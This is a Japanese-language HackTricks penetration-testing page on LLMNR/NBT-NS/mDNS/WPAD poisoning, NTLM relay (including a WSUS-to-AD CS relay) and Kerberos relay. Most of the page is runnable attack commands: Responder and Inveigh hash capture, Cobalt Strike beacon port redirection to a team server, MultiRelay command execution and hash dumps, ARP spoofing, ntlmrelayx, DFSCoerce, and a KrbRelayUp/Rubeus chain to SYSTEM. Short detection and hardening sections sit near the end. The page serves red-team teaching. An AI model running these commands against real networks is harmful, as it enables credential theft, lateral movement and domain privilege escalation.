LLMNR, NBT-NS, mDNS/DNS と WPAD のなりすましおよびリレー攻撃

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする

ネットワークプロトコル

ローカルホスト名解決プロトコル

  • LLMNR, NBT-NS, and mDNS:
  • Microsoft やその他の OS は DNS が失敗した場合にローカル名解決のために LLMNR と NBT-NS を使用します。Apple や Linux 系は同様に mDNS を使用します。
  • これらのプロトコルは認証がなく UDP ブロードキャストで動作するため、傍受やなりすましに脆弱です。
  • Responder および Dementor は、これらのプロトコルを問い合わせるホストに偽の応答を送ることでサービスになりすますために使用できます。
  • Responder を使ったサービスなりすましの詳細は here を参照してください。

Web Proxy Auto-Discovery Protocol (WPAD)

  • WPAD はブラウザがプロキシ設定を自動的に検出することを可能にします。
  • 検出は DHCP、DNS を介して行われ、DNS が失敗した場合は LLMNR と NBT-NS にフォールバックします。
  • Responder は WPAD 攻撃を自動化し、クライアントを悪意のある WPAD サーバに誘導できます。

Responder/Dementor によるプロトコルポイズニング

  • Responder は LLMNR、NBT-NS、mDNS クエリをポイズニングするツールで、クエリ種別に応じて選択的に応答し、主に SMB サービスをターゲットにします。

  • Kali Linux にプリインストールされており、/etc/responder/Responder.conf で設定可能です。

  • Responder は取得したハッシュを画面に表示し、/usr/share/responder/logs に保存します。

  • IPv4 と IPv6 の両方をサポートします。

  • Responder の Windows 版は here から入手できます。

  • Dementor はマルチキャストポイズニングの機能を拡張し、さらに悪意のあるサービスプロバイダとして動作します（CUPS RCE サポートを含む）。

  • 全体構成は Responder に似ていますが、より細かな設定が可能です。（デフォルトは: Dementor.toml）

  • Dementor と Responder の互換性については次を参照: Compatibility Matrix

  • 紹介とドキュメント: Dementor - Docs

  • Responder が一部プロトコルで引き起こすキャプチャ問題を修正します。

Responder の実行

  • デフォルト設定で Responder を実行するには: responder -I <Interface>
  • より積極的なプローブ（副作用の可能性あり）: responder -I <Interface> -P -r -v
  • NTLMv1 チャレンジ/レスポンスを取得して破るための手法: responder -I <Interface> --lm --disable-ess
  • WPAD なりすましを有効にする: responder -I <Interface> --wpad
  • NetBIOS リクエストを攻撃者の IP に解決し、認証プロキシを立てる: responder.py -I <interface> -Pv

Dementor の実行

  • デフォルト設定で実行: Dementor -I <interface>
  • デフォルト設定のまま解析モードで: Dementor -I <interface> -A
  • 自動 NTLM セッションダウングレード (ESS): Dementor -I <interface> -O NTLM.ExtendedSessionSecurity=Off
  • カスタム設定で現在のセッションを実行: Dementor -I <interface> --config <file.toml>

Responder を使った DHCP ポイズニング

  • DHCP 応答を偽装すると被害者のルーティング情報を恒久的に汚染でき、ARP ポイズニングよりステルスな代替手段となります。
  • ターゲットネットワークの構成を正確に把握していることが必要です。
  • 攻撃の実行: ./Responder.py -I eth0 -Pdv
  • この手法は NTLMv1/2 ハッシュを効果的に取得できますが、ネットワーク障害を避けるため慎重に扱う必要があります。

Responder/Dementor による認証情報の取得

  • Responder/Dementor は前述のプロトコルを使ってサービスになりすまし、ユーザが偽装サービスに対して認証を試みた際に認証情報（通常は NTLMv2 Challenge/Response）を取得します。
  • 認証情報を解析しやすくするために NetNTLMv1 へのダウングレードや ESS の無効化を試みることがあります。

これらの技術は法的かつ倫理的に、適切な許可を得た上で使用し、無許可のアクセスや業務妨害を避けることが重要です。

Inveigh

Inveigh は Windows システム向けに設計された、ペネトレーションテスターおよびレッドチーム向けのツールです。Responder と同様の機能を提供し、spoofing と man-in-the-middle attacks を実行します。ツールは PowerShell スクリプトから C# バイナリへと進化しており、主なバージョンには Inveigh と InveighZero があります。詳細なパラメータと手順は wiki を参照してください。

Inveigh は PowerShell を通じて操作できます:

Invoke-Inveigh -NBNS Y -ConsoleOutput Y -FileOutput Y

または C# バイナリとして実行：

Inveigh.exe

NTLM Relay Attack

この攻撃は SMB 認証セッションを悪用してターゲットマシンへアクセスし、成功すれば システムシェル を取得します。主な前提条件は次のとおりです:

  • 認証ユーザは、リレイ先ホスト上で Local Admin アクセスを持っている必要があります。
  • SMB signing が無効になっている必要があります。

445 ポートの転送とトンネリング

直接ネットワーク導入が不可能なシナリオでは、ポート445のトラフィックを転送およびトンネルする必要があります。PortBender のようなツールは、ポート445のトラフィックを別のポートにリダイレクトするのに役立ちます。これは、Local Admin アクセスがあり driver loading が可能な場合に不可欠です。

Cobalt Strike での PortBender のセットアップと操作:

Cobalt Strike -> Script Manager -> Load (Select PortBender.cna)

beacon> cd C:\Windows\system32\drivers # Navigate to drivers directory
beacon> upload C:\PortBender\WinDivert64.sys # Upload driver
beacon> PortBender redirect 445 8445 # Redirect traffic from port 445 to 8445
beacon> rportfwd 8445 127.0.0.1 445 # Route traffic from port 8445 to Team Server
beacon> socks 1080 # Establish a SOCKS proxy on port 1080

# Termination commands
beacon> jobs
beacon> jobkill 0
beacon> rportfwd stop 8445
beacon> socks stop

NTLM Relay Attack のその他のツール

  • Metasploit: proxies、ローカルおよびリモートホストの詳細を設定して使用します。
  • smbrelayx: SMB セッションを中継し、コマンド実行やバックドア展開を行う Python スクリプトです。
  • MultiRelay: Responder スイートのツールで、特定ユーザーまたは全ユーザーを中継し、コマンドを実行したりハッシュをダンプしたりします。

必要に応じて各ツールは SOCKS proxy 経由で動作するよう設定でき、間接的なネットワーク経路でも攻撃を行えます。

MultiRelay の操作

MultiRelay は /usr/share/responder/tools ディレクトリから実行され、特定の IP やユーザーを対象とします。

python MultiRelay.py -t <IP target> -u ALL # Relay all users
python MultiRelay.py -t <IP target> -u ALL -c whoami # Execute command
python MultiRelay.py -t <IP target> -u ALL -d # Dump hashes

# Proxychains for routing traffic

これらのツールと手法は、さまざまなネットワーク環境での NTLM Relay 攻撃を実行するための包括的なセットを形成します。

Abusing WSUS HTTP (8530) for NTLM Relay to LDAP/SMB/AD CS (ESC8)

WSUS クライアントは NTLM を使ってアップデートサーバーに認証します（HTTP 8530 または HTTPS 8531）。HTTP が有効な場合、クライアントの定期的なチェックインをローカルセグメントで強制または傍受し、ntlmrelayx で LDAP/LDAPS/SMB や AD CS の HTTP エンドポイント（ESC8）にリレーできます。ハッシュをクラックする必要はありません。これは通常のアップデートトラフィックに溶け込み、機械アカウント認証（HOST$）が得られることがよくあります。

What to look for

  • GPO/registry 設定（HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate と …\WindowsUpdate\AU の下）:
  • WUServer (例: http://wsus.domain.local:8530)
  • WUStatusServer (レポート URL)
  • UseWUServer (1 = WSUS; 0 = Microsoft Update)
  • DetectionFrequencyEnabled と DetectionFrequency (hours)
  • クライアントが HTTP で使用する WSUS SOAP エンドポイント:
  • /ClientWebService/client.asmx (approvals)
  • /ReportingWebService/reportingwebservice.asmx (status)
  • デフォルトポート: 8530/tcp HTTP, 8531/tcp HTTPS

Reconnaissance

  • Unauthenticated
  • リスナーをスキャン: nmap -sSVC -Pn –open -p 8530,8531 -iL
  • L2 MITM で HTTP WSUS トラフィックをスニッフィングし、wsusniff.py でアクティブなクライアント/エンドポイントを記録（TLS 証明書をクライアントに信頼させられる場合を除き HTTP のみ）。
  • Authenticated
  • SYSVOL の GPO を MANSPIDER + regpol で解析して WSUS キーを探す（wsuspider.sh ラッパーは WUServer/WUStatusServer/UseWUServer を要約します）。
  • ホストからスケールでエンドポイントをクエリするかローカルで: nxc smb -u -p -M reg-query -o PATH=“HKLM\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate” KEY=“WUServer” reg query HKLM\Software\Policies\Microsoft\Windows\WindowsUpdate

End-to-end HTTP relay steps

  1. MITM の位置取り（同一 L2）をしてクライアントが WSUS サーバーをあなたに解決するようにする（ARP/DNS poisoning、Bettercap、mitm6 など）。arpspoof の例: arpspoof -i -t <wsus_client_ip> <wsus_server_ip>

  2. ポート 8530 をリレーリスナーにリダイレクト（任意、便利）: iptables -t nat -A PREROUTING -p tcp –dport 8530 -j REDIRECT –to-ports 8530 iptables -t nat -L PREROUTING –line-numbers

  3. HTTP リスナーで ntlmrelayx を起動（HTTP リスナーは Impacket のサポートが必要; 下の PR を参照）: ntlmrelayx.py -t ldap:// -smb2support -socks –keep-relaying –http-port 8530

その他の一般的なターゲット:

  • SMB にリレーして exec/dump（署名オフの場合）: -t smb://
  • LDAPS にリレーしてディレクトリの変更（例: RBCD）: -t ldaps://
  • AD CS Web enrollment（ESC8）にリレーして証明書を発行し、その後 Schannel/PKINIT で認証: ntlmrelayx.py –http-port 8530 -t http:///certsrv/certfnsh.asp –adcs –no-http-server AD CS の深い悪用経路とツールについては AD CS ページを参照してください:

AD CS Domain Escalation

  1. クライアントのチェックインをトリガーするかスケジュールを待つ。クライアントから: wuauclt.exe /detectnow または Windows Update UI（Check for updates）を使用。

  2. 認証済みの SOCKS セッションを使う（-socks を指定した場合）か、直接のリレー結果をポストエクスプロイトに利用（LDAP の変更、SMB 操作、または後で認証に使うための AD CS 証明書発行）。

HTTPS constraint (8531)

  • WSUS を HTTPS でパッシブに傍受することは、クライアントがあなたの証明書を信頼する場合を除き効果がありません。信頼された証明書や他の TLS ブレイクがない限り、WSUS HTTPS トラフィックから NTLM ハンドシェイクを取得／リレーすることはできません。

Notes

  • WSUS は非推奨と発表されましたが、広く展開されています。HTTP (8530) は多くの環境で依然として一般的です。
  • 有用なヘルパー: wsusniff.py（HTTP WSUS のチェックイン観察）、wsuspider.sh（GPO から WUServer/WUStatusServer を列挙）、NetExec reg-query（スケールでのクエリ）。
  • Impacket は PR #2034 で ntlmrelayx の HTTP リスナーサポートを復元しました（元は PR #913 で追加）。

Force NTLM Logins

Windows では、一部の特権アカウントを任意のマシンに対して認証させることができる場合があります。詳細は次のページを読んでください:

Force NTLM Privileged Authentication

Kerberos Relay attack

A Kerberos relay attack は、あるサービスから AP-REQ ticket を盗み、同じ computer-account key を共有する別のサービスに対して再利用します（両方の SPN が同じ $ マシンアカウントに設定されているため）。これは SPN の service class が異なっていても（例: CIFS/ → LDAP/）動作します。なぜならチケットを復号する鍵は SPN 文字列自身ではなくマシンの NT ハッシュであり、SPN 文字列自体は署名の一部ではないからです。

NTLM relay と異なり、このホップは 同一ホスト内 に限定されますが、LDAP に書き込めるプロトコルをターゲットにすれば Resource-Based Constrained Delegation (RBCD) や AD CS enrollment にチェインして、一発で NT AUTHORITY\SYSTEM を取ることができます。

この攻撃の詳細については以下を参照してください:

TokenPurposeRelay relevance
TGT / AS-REQ ↔ REPユーザーを KDC に証明するuntouched
Service ticket / TGS-REQ ↔ REP単一の SPN にバインドされる；SPN 所有者のキーで暗号化されるSPN が同じアカウントにあれば相互に置き換え可能
AP-REQクライアントがサービスに TGS を送る我々が盗んでリプレイするもの
  • チケットは SPN を所有するアカウントのパスワード派生鍵 で暗号化されます。
  • AP-REQ 内の Authenticator には 5 分のタイムスタンプがあり、そのウィンドウ内のリプレイはサービスのキャッシュが重複を検出するまで有効です。
  • Windows はチケット内の SPN 文字列がアクセスしたサービスと一致しているかを確認することがまれで、通常 CIFS/HOST 用のチケットは LDAP/HOST でも正常に復号されます。
    1. Kerberos をリレーするために満たすべき条件
  1. 共有キー: ソースとターゲットの SPN が同じコンピュータアカウントに属していること（Windows サーバーのデフォルト）。
  2. チャネル保護なし: SMB/LDAP の署名オフ、HTTP/LDAPS の EPA オフ。
  3. 認証を傍受または強制できること: LLMNR/NBNS poison、DNS spoof、PetitPotam / DFSCoerce RPC、fake AuthIP、rogue DCOM など。
  4. チケット元が既に使われていないこと: 実パケットが到達する前に競争に勝つか完全にブロックする。さもないとサーバーのリプレイキャッシュが Event 4649 を発生させる。
  5. 通信において何らかの形で MitM を行えること（例: ドメインの DNS を変更できる DNSAmins グループの一員であるか、被害者の HOST ファイルを変更できるなど）。

Kerberos Relay Steps

  • 3.1 Recon the host
# find servers where HTTP, LDAP or CIFS share the same machine account
Get-ADComputer -Filter * -Properties servicePrincipalName |
Where-Object {$_.servicePrincipalName -match '(HTTP|LDAP|CIFS)'} |
Select Name,servicePrincipalName
  • 3.2 リレーリスナーを起動する

KrbRelayUp

# one-click local SYSTEM via RBCD
.\KrbRelayUp.exe relay --spn "ldap/DC01.lab.local" --method rbcd --clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8

KrbRelayUp は KrbRelay → LDAP → RBCD → Rubeus → SCM bypass を1つのバイナリにまとめます。

  • 3.3 Coerce Kerberos auth
# coerce DC to auth over SMB with DFSCoerce
.\dfscoerce.exe --target \\DC01.lab.local --listener 10.0.0.50

DFSCoerce は DC に Kerberos CIFS/DC01 チケットを送らせる。

  • 3.4 AP-REQ をリレーする

KrbRelay は SMB から GSS blob を抽出し、それを LDAP bind に再梱包して ldap://DC01 に転送する — 認証は 同じ鍵 で復号できるため成功する。

  • 3.5 LDAP ➜ RBCD ➜ SYSTEM を悪用する
# (auto inside KrbRelayUp) manual for clarity
New-MachineAccount -Name "FAKE01" -Password "P@ss123"
KrbRelay.exe -spn ldap/DC01 -rbcd FAKE01_SID
Rubeus s4u /user:FAKE01$ /rc4:<hash> /impersonateuser:administrator /msdsspn:HOST/DC01 /ptt
SCMUACBypass.exe

あなたは現在 NT AUTHORITY\SYSTEM を所有しています。

知っておくべき他のパス

ベクタートリックなぜ重要か
AuthIP / IPSec偽のサーバーが任意の SPN を使った GSS-ID payload を送信する；クライアントは直接あなた宛てに AP-REQ を構築するサブネット間でも動作する；デフォルトで machine creds を使用
DCOM / MSRPC悪意ある OXID resolver がクライアントに任意の SPN とポートへ認証させる純粋なローカル priv-esc；ファイアウォールを回避
AD CS Web Enrollマシンチケットを HTTP/CA にリレーして証明書を取得し、その後 PKINIT で TGT を発行するLDAP signing の防御を回避する
Shadow CredentialsmsDS-KeyCredentialLink を書き込み、偽造キー ペアで PKINIT を行うコンピュータアカウントを追加する必要がない

トラブルシューティング

エラー意味対処
KRB_AP_ERR_MODIFIEDチケットキー ≠ ターゲットキーホスト/SPN が間違っている
KRB_AP_ERR_SKEWクロック差が 5 分以上時刻を同期するか w32tm を使用する
LDAP bind fails署名が強制されているAD CS 経路を使うか署名を無効にする
Event 4649 spamサービスが重複した Authenticator を検出したオリジナルパケットをブロックするかレースする

検出

  • 短時間内に同一ソースから CIFS/, HTTP/, LDAP/ に対する Event 4769 の急増。
  • サービス上の Event 4649 はリプレイが検出されたことを示す。
  • 127.0.0.1 からの Kerberos ログオン（ローカル SCM へのリレー）は非常に疑わしい — KrbRelayUp ドキュメント内の Sigma ルールでマッピングする。
  • msDS-AllowedToActOnBehalfOfOtherIdentity や msDS-KeyCredentialLink 属性の変更を監視する。

ハードニング

  1. すべてのサーバーで LDAP & SMB signing + EPA を強制する。
  2. Split SPNs により HTTP が CIFS/LDAP と同じアカウントにならないようにする。
  3. coercion ベクターをパッチする（PetitPotam KB5005413、DFS、AuthIP）。
  4. 不正なコンピュータの参加を止めるため ms-DS-MachineAccountQuota = 0 を設定する。
  5. Event 4649 と予期しないループバック Kerberos ログオンについてアラートを出す。

References

Tip

AWSハッキングを学び、実践する：HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する：HackTricks Training GCP Red Team Expert (GRTE) Azureハッキングを学び、実践する：HackTricks Training Azure Red Team Expert (AzRTE)

HackTricksをサポートする